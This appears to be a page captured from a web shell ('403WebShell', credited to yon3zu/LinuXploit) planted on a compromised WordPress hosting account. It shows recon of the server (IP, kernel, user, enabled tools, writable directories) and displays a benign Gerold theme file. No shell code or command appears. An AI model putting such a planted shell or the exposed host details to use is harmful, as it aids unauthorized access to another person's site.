Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.105.199
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/cynthiaadediran.com/wp-content/themes/gerold/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/cynthiaadediran.com/wp-content/themes/gerold/inc/template-hooks.php
<?php

/**
 * Gerold Theme Hooks Class
 *
 * @package Gerold_Theme
 * @since Gerold 1.0.0
 * @author ThemeJunction 
 */

if (!function_exists('gerold_setup')) :
  function gerold_setup() {

    /* add title tag support */
    add_theme_support('title-tag');

    /* load theme languages */
    load_theme_textdomain('gerold', GEROLD_THEME_DIR . '/languages');

    /* Add default posts and comments RSS feed links to head */
    add_theme_support('automatic-feed-links');

    /* Add posts thumbnails */
    add_theme_support('post-thumbnails');


    /* Add Image Size */
    add_image_size('blog_thumb', 410, 370, true);
    add_image_size('portfolio_thumb', 550, 475, true);

    /*
 * Switch default core markup for search form, comment form, and comments
 * to output valid HTML5.
 */
    add_theme_support(
      'html5',
      [
        'search-form',
        'comment-form',
        'comment-list',
        'gallery',
        'caption',
        'script',
        'style',
        'navigation-widgets'
      ]
    );

    /* Set up the WordPress core custom background feature. */
    add_theme_support(
      'custom-background',
      apply_filters(
        'gerold_custom_background_args',
        [
          'default-color' => 'ffffff',
          'default-image' => '',
        ]
      )
    );

    /* Add theme support for selective refresh for widgets. */
    add_theme_support('customize-selective-refresh-widgets');

    /* Enable support for Post Formats. */
    add_theme_support('post-formats', ['image', 'audio', 'video', 'gallery', 'quote']);

    /* Add support for custom header */
    add_theme_support("custom-header");

    /* Add support for core custom logo. */
    add_theme_support('custom-logo', [
      'height'      => 170,
      'width'       => 60,
      'flex-width'  => true,
      'flex-height' => true,
    ]);

    /* Add support for Block Styles. */
    add_theme_support('wp-block-styles');

    /* Add support for full and wide align images. */
    add_theme_support('align-wide');

    /* Add support for editor styles. */
    add_theme_support('editor-styles');

    /* Add support for responsive embedded content. */
    add_theme_support('responsive-embeds');

    /* Support for elementor header and footer */
    if (class_exists('Header_Footer_Elementor')) {
      add_theme_support('header-footer-elementor');
    }

    /* Register nav menus. */
    register_nav_menus(
      [
        'main-menu'   => esc_html__('Main Menu', 'gerold'),
        'footer-menu' => esc_html__('Footer Menu', 'gerold'),
      ]
    );
  }

endif;
add_action('after_setup_theme', 'gerold_setup');


/**
 *  ---------------------------------------------------------------------------------------
 *  Set the content width in pixels, based on the theme's design and stylesheet.
 *  ---------------------------------------------------------------------------------------
 */
function gerold_content_width() {
  // This variable is intended to be overruled from themes.
  // Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
  // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
  $GLOBALS['content_width'] = apply_filters('gerold_content_width', 640);
}
add_action('after_setup_theme', 'gerold_content_width', 0);


/**
 * ---------------------------------------------------------------------------------------
 * Admin Custom Scripts
 * ---------------------------------------------------------------------------------------
 */
function gerold_admin_custom_scripts() {
  wp_enqueue_media();
  wp_enqueue_style('gerold-customizer-style', GEROLD_INC_URL . '/assets/css/customizer-style.css', []);
  wp_enqueue_script('gerold-admin-custom', GEROLD_INC_URL . '/assets/js/admin-custom.js', ['jquery'], GEROLD_THEME_VERSION, true);
}
add_action('admin_enqueue_scripts', 'gerold_admin_custom_scripts');



/**
 *    ---------------------------------------------------------------------------------------
 *    Register widget area.
 *
 *  @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 *    ---------------------------------------------------------------------------------------
 */
function gerold_widgets_init() {
  require_once GEROLD_COMMON_DIR . '/template-widgets.php';
}
add_action('widgets_init', 'gerold_widgets_init');


/**
 * ---------------------------------------------------------------------------------------
 *  Enqueue scripts and styles.
 * ---------------------------------------------------------------------------------------
 */
if (!function_exists('gerold_scripts')) :
  require_once GEROLD_COMMON_DIR . '/template-scripts.php';
endif;


/**
 * ---------------------------------------------------------------------------------------
 * ReArrange Comment Form
 * ---------------------------------------------------------------------------------------
 */
function gerold_rearrange_comment_form($fields) {
  $comment = $fields['comment'];
  $author  = $fields['author'];
  $email   = $fields['email'];
  $url     = $fields['url'];
  $cookies = $fields['cookies'];

  unset($fields['comment']);
  unset($fields['author']);
  unset($fields['email']);
  unset($fields['url']);
  unset($fields['cookies']);

  $fields['author']  = $author;
  $fields['email']   = $email;
  $fields['url']     = $url;
  $fields['comment'] = $comment;
  $fields['cookies'] = $cookies;

  return $fields;
}
add_filter('comment_form_fields', 'gerold_rearrange_comment_form');


/**
 * ---------------------------------------------------------------------------------------
 * Body Class
 * ---------------------------------------------------------------------------------------
 */
function gerold_body_classes($classes) {
  $enable_mode_settings = function_exists('get_field') ? get_field('enable_mode_settings') : false;
  $pageSwitchMode = function_exists('get_field') ? get_field('page_color_mode') : false;
  $enable_header_settings = function_exists('get_field') ? get_field('enable_header_settings') : false;
  $is_page_header_absolute = function_exists('get_field') ? get_field('is_page_header_absolute') : false;
  $is_page_header_sticky = function_exists('get_field') ? get_field('is_page_header_sticky') : false;

  $switchMode = get_theme_mod('gerold_mode', false);
  $header_absolute = get_theme_mod('header_absolute', false);
  $header_sticky = get_theme_mod('header_sticky', false);

  if (!empty($enable_header_settings)) {
    $isHeaderAbsolute = !empty($is_page_header_absolute) ? "absolute_header" : "";
    $isHeaderSticky = !empty($is_page_header_sticky) ? "sticky_header" : "";
  } else {
    $isHeaderAbsolute = !empty($header_absolute) ? "absolute_header" : "";
    $isHeaderSticky = !empty($header_sticky) ? "sticky_header" : "";
  }

  $classes[]    = $isHeaderAbsolute;
  $classes[]    = $isHeaderSticky;

  // color mode
  if (!empty($enable_mode_settings)) {
    $isLightMode = !empty($pageSwitchMode) ? "light-mode" : "";
  } else {
    $isLightMode = !empty($switchMode) ? "light-mode" : "";
  }

  $classes[]    = $isLightMode;



  // add active header class
  $header_style = get_theme_mod('header_style', 1);
  $classes[]    = 'active_header_' . $header_style;

  // Adds a class of gerold_page to non-singular pages.
  if (!is_singular()) {
    $classes[] = 'gerold_page';
  }

  // Adds a class of no-sidebar when there is no sidebar present.
  if (!is_active_sidebar('blog-sidebar')) {
    $classes[] = 'no-sidebar';
  }

  return $classes;
}
add_filter('body_class', 'gerold_body_classes');

Youez - 2016 - github.com/yon3zu
LinuXploit